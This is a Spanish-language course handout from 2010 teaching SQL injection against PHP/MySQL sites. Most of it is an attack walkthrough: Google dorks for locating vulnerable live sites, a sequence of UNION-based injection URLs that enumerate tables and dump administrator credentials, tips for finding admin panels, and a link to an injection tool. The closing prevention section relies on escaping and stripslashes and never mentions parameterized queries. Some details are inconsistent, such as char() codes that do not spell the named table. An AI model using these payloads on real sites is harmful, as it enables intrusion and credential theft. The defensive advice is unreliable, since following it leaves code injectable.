11
  Inyección SQL SQLi Asignatura: Taller de Desarrollo Web Gentileza: Xt3mP Profesor: Jorge Cortés Gallardo LA SERENA  NOVIEMBRE 2010

Inyección SQL

Embed Size (px)

Citation preview

Page 1: Inyección SQL

5/9/2018 Inyección SQL - slidepdf.com

http://slidepdf.com/reader/full/inyeccion-sql-559bf61c97277 1/10

 

 

Inyección SQL SQLi

Asignatura: Taller de Desarrollo WebGentileza: Xt3mP

Profesor: Jorge Cortés Gallardo

LA SERENA – NOVIEMBRE 2010

Page 2: Inyección SQL

5/9/2018 Inyección SQL - slidepdf.com

http://slidepdf.com/reader/full/inyeccion-sql-559bf61c97277 2/10

 

 

“… el siguiente paper contiene información con fines educacionales. . .  la idea es

acercar más el tema de las Vulnerabilidades Web, respecto a SQLi y aclarar dudas

sobre ellas . . . sin embargo, no me hago responsable por los actos y/o consecuencias

que pueda ocasionar el entregar este tipo de información, ya que es parte importante

para el desarrollo de nuestra Asignatura . . .” 

Jorge Luis Alejandro Cortés Gallardo

“…Nadie sabe lo que hace mientras actúa correctamente, pero de lo que está mal uno

siempre es consciente.” 

Johann Wolfgang Goethe 

Page 3: Inyección SQL

5/9/2018 Inyección SQL - slidepdf.com

http://slidepdf.com/reader/full/inyeccion-sql-559bf61c97277 3/10

 

TERMINOS IMPORTANTE:

SQL: El lenguaje de consulta estructurado o SQL (por sus siglas en inglés structured query

language) es un lenguaje declarativo de acceso a bases de datos relacionales que permite

especificar diversos tipos de operaciones en éstas.

Fuente: http://es.wikipedia.org/wiki/SQL 

MySQL: MySQL es un sistema de gestión de base de datos relacional, multihilo y multiusuario

con más de seis millones de instalaciones.1 MySQL AB —desde enero de 2008 una

subsidiaria de Sun Microsystems y ésta a su vez de Oracle Corporation desde abril de 2009— 

desarrolla MySQL como software libre en un esquema de licenciamiento dual.

Fuente: http://es.wikipedia.org/wiki/MySQL

SQLi(SQL Injection): Consiste en tratar de ocasionar un error en la base de datos alterandola petición a esta mediante el código PHP (En este caso) para poder explotar y mal usar (en

su mayoría) esta vulnerabilidad y sacar provecho del bug.

Filtrar: En este ámbito nos referiremos a filtrar al quitar código que pudiese ser malicioso, en

los campos ó casillas de texto para evitar posibles vulnerabilidades en nuestro sitio web.

Dork: En este ámbito nos referiremos a "dorks" a "frases ó palabras" que nos facilitarán las

páginas vulnerables.

Page 4: Inyección SQL

5/9/2018 Inyección SQL - slidepdf.com

http://slidepdf.com/reader/full/inyeccion-sql-559bf61c97277 4/10

 

¿POR QUÉ ES POSIBLE?

Por la mala estructuración del código que hace la petición a la base de datos por lo cual para

explotarla le pondremos datos falsos por lo que el resultado sería un error y nos mostraría que

es vulnerable.

Suponiendo que nuestro código es

  <?php 

  $noticia = $_GET['noticia']; 

  mysql_query("SELECT * FROM noticias WHERE id='".$noticia."' ") 

  ?> 

Entonces al saber un poco de SQL sabemos en la manera que una petición es enviada a la DBpor lo que podremos explotarla, suponiendo que en id ponemos id=-1 and 2=2 la consulta

sería:

Código:

SELECT * from noticias where id=-1 and 2=2

Lo cual daría como resultado Verdadero (true) por que dos es igual a 2, en cambio ¿qué pasa

si ponemos datos falsos (false)? ¿Algo como id=-1 and 2=1? La consulta daría false ya que dos

no es igual a uno y la consulta sería

Código:

SELECT * from noticias where id=-1 and 2=1

Union: Nos permite combinar varios valores con la ayuda del SELECT.

SELECT: Nos permite seleccionar (como su nombre lo dice) valores de una tabla ó columna.

group_concat(): Selecciona un grupo de columnas ó tablas para hacer una petición múltiple.

Dorks: La mayoría de los DORKS actuales ya no son efectivos ya que la mayoría ya los mal

exploto lo que ocasionó que nuestro buscador nos tiré páginas que ya fueron hackeadas ó

que ya está reparado el bug, pero a continuación les dejaré unos:

Page 5: Inyección SQL

5/9/2018 Inyección SQL - slidepdf.com

http://slidepdf.com/reader/full/inyeccion-sql-559bf61c97277 5/10

 

  inurl:index.php?id= 

  inurl:info_page.php?id= 

  inurl:news.php?id= 

  inurl:noticias.php?id= 

  inurl:productos.php?id= 

  inurl:details.php?id= 

  inurl:cat.php?id= 

  inurl:show.php?id= 

  inurl:detalles.php?id= 

  inurl:article.php?id= 

  ETC – San google nos ayuda jajajajajaj

Ustedes pueden ir variando el nombre del archivo PHP y la variable del método GET para ir

buscando posibles páginas vulnerables.

PRACTICA 

En esta ocasión utilizaremos una de prueba de su proyecto Web Perro Que ladra no muerde,

como dije anteriormente lo más probable que de una vulnerabilidad de SQL ya que al tratar

de ocasionar el error nos da un true.

COMO SABER SI EL SITIO ES VULNERABLE 

Para ver que si dicha web es vulnerable comenzaremos a tratar de ocasionar un error, ¿Pero

cómo?, fácil, lo que hará la sentencia es que en el código PHP estará un $_GET['id'] que en

este caso tomaría el valor que le demos al id después del signo =, así que al nosotros poner

cualquier carácter raro o ningún número en específico nos votará el error.

Página normal: http://localhost/proyecto/index.php?id=96

Página con error: http://localhost/proyecto/index.php?id=96’ 

Página con error: http://localhost/proyecto/index.php?id=’ 

Page 6: Inyección SQL

5/9/2018 Inyección SQL - slidepdf.com

http://slidepdf.com/reader/full/inyeccion-sql-559bf61c97277 6/10

 

En donde el error lo puedes ocasionar sin poner nada después del "=" ó con " ' y " ".

Nos mostrará un error con lo siguiente:

Código:

Failed to get advertisement!

MySQL error :You have an error in your SQL syntax; check the manual that corresponds to

your MySQL server

version for the right syntax to use near '' at line 1

¡PENCA!, es vulnerable ya que como mencioné arriba al obtener el valor de "id" y al no tener

ninguno, provocará un error de sintaxis.

COMENZAR ATACAR  

Ya que tengamos detectado que es vulnerable ( http://localhost/proyecto/index.php?id=96’)

procederemos a buscar el número de columnas agregando el código: -1+union+select+1 en

donde -1 es cualquier valor y en donde +1 sería la primer columna.

Si todo sale bien:

http://localhost/proyecto/index.php?id=-1+union+select+1-- nos deberá votar el siguiente

error:

Código:

Failed to get advertisement!

MySQL error: The used SELECT statements have a different number of columns 

Lo cual nos indica que tiene más que una columna por lo tanto iremos agregando columnas

(,2,3,4,5,...10) hasta que nos muestre algún resultado:

  http://localhost/proyecto/index.php?id=-1+union+select+1 

  http://localhost/proyecto/index.php?id=-1+union+select+1,2 

  http://localhost/proyecto/index.php?id=-1+union+select+1,2,3 

  http://localhost/proyecto/index.php?id=-1+union+select+1,2,3,4 

Page 7: Inyección SQL

5/9/2018 Inyección SQL - slidepdf.com

http://slidepdf.com/reader/full/inyeccion-sql-559bf61c97277 7/10

 

  .. 

  http://localhost/proyecto/index.php?id=-

1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20  

  http://localhost/proyecto/index.php?id=-

1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21  

¡PENCA!, nos mostrará el número en letras pequeñas el cuál en este caso dependerá de su

sitio Web.

Como encontrar la tabla que nos interesa

Supondremos que para este caso es la tabla 17, utilizarémos "table_name" y le harémos la

petición con: "+from+information_schema.tables--" lo cual nos mostrará

  http://localhost/proyecto/index.php?id=-

1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,table_name,18,19,20

,21+from+information_schema.tables-- 

Si todo sale bien, nos debería mostrar "CHARACTER_SETS", ahora buscaremos nuestra tabla

literalmente en específico (El nombre varia) que pueda contener datos claves como"administrador, clientes, mascota", lo haremos mediante +limit+1,1-- en donde +1 se va

elevando para ir subiendo hasta encontrar la que contenga datos claves y se implementará

en la URL de esta manera:

  http://localhost/proyecto/index.php?id=-

1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,table_name,18,19,20

,21+from+information_schema.tables+limit+1,1-- 

Al igual que las columnas, iremos subiendo de valor el "+1" hasta encontrar lo que

anteriormente les dije:

Page 8: Inyección SQL

5/9/2018 Inyección SQL - slidepdf.com

http://slidepdf.com/reader/full/inyeccion-sql-559bf61c97277 8/10

 

  http://localhost/proyecto/index.php?id=-

1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,table_name,18,19,20

,21+from+information_schema.tables+limit+2,1-- 

  http://localhost/proyecto/index.php?id=-

1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,table_name,18,19,20

,21+from+information_schema.tables+limit+3,1-- 

  http://localhost/proyecto/index.php?id=-

1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,table_name,18,19,20

,21+from+information_schema.tables+limit+4,1-- 

 

  … 

Supondremos que para este caso es 4 nos arroja "usuarios" y como lo dice usuarios nos indica

un ingreso al sistema, por lo tanto comenzaremos a explorar esa tabla.

Para hacerlo ocuparemos 2 funciones más que son "group_concat(column_name)" que nos

mostrará todos los campos de la columna y "+where+table_name=char()--" en donde entre

paréntesis iría el nombre de la tabla convertido a ASCII, como en este caso es USUARIOS el

valor sería: 108,111,103,105,110.

Por lo que la inyección sería:

  http://localhost/proyecto/index.php?id=-

1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,group_concat(column

 

 _name),18,19,20,21+from+information_schema.columns+where+table_name=char(

108,111,103,105,110)--

Con esto como lo mencioné anteriormente, hacemos una petición para que nos muestre los

campos de la columna vulnerable, en este caso la 17 llamada USUARIOS; nos mostraría esto:

id,usuario,password,nombre,estado….etc 

¡PENCA!, aquí a primera vista las más importantes son usuario y contraseña, por lo tanto los

exploraremos haciendo un concat e indicando de donde queremos sacar estos datos, lo

haremos de la siguiente manera:

Page 9: Inyección SQL

5/9/2018 Inyección SQL - slidepdf.com

http://slidepdf.com/reader/full/inyeccion-sql-559bf61c97277 9/10

 

  http://localhost/proyecto/index.php?id=-

1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,concat(UserID,0x3a,

Password),18,19,20,21+from+login 

Con esto como lo mencioné anteriormente, indicamos que muestre los campos usuario y

password de la tabla usuarios y en donde 0x3a es igual a " : ", y si todo sale bien nos votará

los datos del administrador, Ejemplo:

admin:252525

ENCONTRAR EL PANEL DEL ADMINISTRADOR 

Esto realmente es lo más difícil ya que últimamente los paneles del administrador son muydifíciles de encontrar aunque los más cotidianos son /admin/ el cuál es el panel del

administrador de esta página, por lo tanto el link sería:

  http://localhost/proyecto/admin/  

Existen herramientas las cuales permiten realizar este tipo de búsquedas, buscar como

Admin Path Finder, en san Google. Jajajajaja.

SUGERENCIAS 

La primer sugerencia que les haré concorde a esto es que evítense la pena (literalmente) de

cometer una infracción con la página web que expuse como ejemplo, ya que fue elegida al

azar y no tiene ningún antecedente delictivo por el cuál merezca ser hackeada.

Sobre los campos de la tabla, si los campos aparecen en mayúsculas, póngalos en

mayúsculas, si salen en minúsculas póngalos en minúsculas.

A veces el error no lo muestra así que les recomiendo poner -1+union+select+1 y si nos da el

error de que tiene diferentes columnas a la petición que pusimos obviamente es vulnerable.

Ver también SQLi Helper

http://ddlr.servepics.com/rd.php?go=http://www.megaupload.com/?d=5NSR1DA4 

Page 10: Inyección SQL

5/9/2018 Inyección SQL - slidepdf.com

http://slidepdf.com/reader/full/inyeccion-sql-559bf61c97277 10/10

 

LO MAS IMPORTANTE QUE DEBEN SABER USTEDES – COMO EVITAR SQLi

Muchos saben hacer SQL Injection pero no saben evitarla, así que esto les servirá.

Como mencioné a lo largo de este paper una inyección SQL es llevada a cabo por la forma en

que está realizando la Consulta Sql o la petición a la base de datos, un ejemplo es:

  <?php 

  $noticia = $_GET['id']; // $_REQUEST['id']; 

  $views = mysql_query("SELECT noticia FROM noticias WHERE

noticia='".$noticia."' "); 

  ?> 

Por lo tanto para hacerlo más seguro utilizamos la función "mysql_escape_string" y quedaría

así:

  <?php 

  $noticia = $_GET['id']; // $_REQUEST['id']; 

  $views = mysql_query("SELECT noticia FROM noticias WHERE

noticia='".mysql_escape_string($noticia)."' "); 

  ?> 

También podemos agregar un strip_tags(); ó stripslashes(); para eliminar etiquetas que

puedan hacer vulnerable nuestra petición.

  <?php 

  $noticia = $_GET['id']; // $_REQUEST['id']; 

  $noticia = strip_tags($noticia); 

  $noticia = stripslashes($noticia); 

  $views = mysql_query("SELECT noticia FROM noticias WHERE

noticia='".mysql_escape_string($noticia)."' "); 

  ?>